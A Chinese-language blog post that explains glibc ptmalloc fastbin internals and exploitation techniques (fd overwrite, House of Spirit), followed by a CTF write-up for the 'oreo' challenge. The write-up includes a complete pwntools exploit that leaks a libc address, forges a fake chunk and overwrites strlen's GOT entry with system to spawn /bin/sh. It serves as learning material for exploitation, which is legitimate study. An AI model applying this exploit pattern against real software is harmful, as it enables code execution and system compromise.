Linux堆溢出之fastbin实例
0x00. 前言
最近在学习Linux上的堆溢出原理以及利用技巧,深深了解到堆溢出的复杂之处,以及各种层出不穷的技巧。然时间比较紧,只能慢慢学,现记录下学习fastbin的心得。
0x01. fastbin原理
关于fastbin的利用原理,网上已经有很多文章介绍,简要介绍下需要了解的知识点。
Linux的堆管理器ptmalloc,将内存划分为多个chunk,以chunk为单位分配个用户。为了提高内存分配的效率,ptmalloc又设计的一些数据结构帮助提高性能。正是由于提高效率,从而忽略了一些安全问题。
- Linux下的堆块 chunk,为了提高效率,chunk头一般很小。chunk的种类: 已分配的块(allocated chunk)、空闲块(free chunk)、最高块(top chunk)、最后剩余块(Last Remainder chunk)。
一般空闲块头包含:前一个chunk的大小(pre_size)、本chunk的大小(size)、下一个块地址(fd)、上一个块地址(bk)。已分配的块不包含fd和bk字段,并且已分配的块还会使用下一个块的 pre_size字段。而且由于chunk的字节对齐,低位一般作为标志位,用于辅助chunk管理。如32位系统,堆块chunk大小是8字节对齐,其低3位(N|M|P):N表示此块是否属于main arean; M表示此块是否是mmap()创建的; P表示前块是否正在使用。 - Linux下的堆块采用链表结构管理,glibc下实现叫做bins,有4中bins:fastbin、unsorted bin、small bin、large bin。其中fastbin主要用于高效的分配和回收比较小的内存块,采用LIFO形式的单链表结构。
32位系统中,用户的请求在16bytes到64bytes会被分配到fastbin中;64位系统中,用户的请求在32bytes到128bytes会被分配到fastbin中。其他的几种结构主要是用户管理一般块和较大块。
0x02. fastbin利用技巧
基于fastbin块LIFO的特点,我们可以先申请,然后释放,再申请就可以得到原来地址的块。但是这不能满足我们的需求,我们需要在将堆分配在可控地址。我们可以通过堆溢出更改已经申请块的fd,使其指向我们可控的地址,并且在可控地址上伪造假的fastbin结构。然后释放,再申请两次,第2次就可以得到分配在可控地址上的块。(覆盖fd)
还有一种方法直接修改free函数的参数,使free函数的参数为可控地址,然后在可控地址上伪造假的堆块。(House of Spirit)
0x03. fastbin实例
- oreo
该题是个典型的fastbin,主要思路:在bss段构造假的fastbin块结构,然后利用fastbin分配堆块,并写入一个地址。第2次对这个可控位置写入数据,就可以达到往任意地址写任意数据(write anything anywhere)。利用ELF中的逻辑,先通过地址泄漏得到system函数的地址,然后利用fastbin覆盖strlen@got.plt地址为system函数地址。这其中有个技巧,第二次写入数据是”p32(system_addr) + ‘;/bin/sh’ “,在覆盖strlen@got.plt的同时,后面system函数执行时,会分开执行,system(system_addr)和system(“/bin/sh”),最终会成功获得shell。
漏洞利用代码:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73#!/usr/bin/env python
from pwn import *
DEBUG = 1
if DEBUG:
context.log_level = 'debug'
p = process('./oreo')
gdb.attach(p, execute='b *0x8048a4d')
else:
p = remote("xxxx", 1008)
def add_rifles(name, description):
p.sendline('1')
p.sendline(name)
p.sendline(description)
def order_rifles():
p.sendline('3')
def leave_message(msg):
p.sendline('4')
p.sendline(msg)
def show_rifles():
p.sendline('2')
def main():
fgets_got = 0x0804A23C
strlen_got = 0x0804A250
msg_addr = 0x804A2A8
p.recv(0x261)
for i in range(0x3f):
add_rifles("abc", "test")
# leak system address
payload1 = 'A' * 27 + p32(fgets_got)
add_rifles(payload1, 'B' * 25)
show_rifles()
p.recvuntil("===================================")
p.recvuntil("===================================")
p.recvuntil("Name: ")
p.recvuntil("\nDescription: ")
fgets_addr = u32(p.recv(4))
print "fgets address: %x" % fgets_addr
system_addr = fgets_addr - 0x232f0
# malloc chunk
payload2 = 'A' * 27 + p32(msg_addr)
add_rifles(payload2, 'B' * 25)
# construct fake chunk
payload3 = p32(0x0) *9 + p32(0x49)
leave_message(payload3)
#free chunk
order_rifles()
#fastbin: malloc new chunk at address 0x804a2a8
add_rifles('name', p32(strlen_got))
#write strlen_got with system_addr and execute strlen('p32(system_addr);/bin/sh')
leave_message(p32(system_addr) + ';/bin/sh')
p.interactive()
if __name__ == '__main__':
main()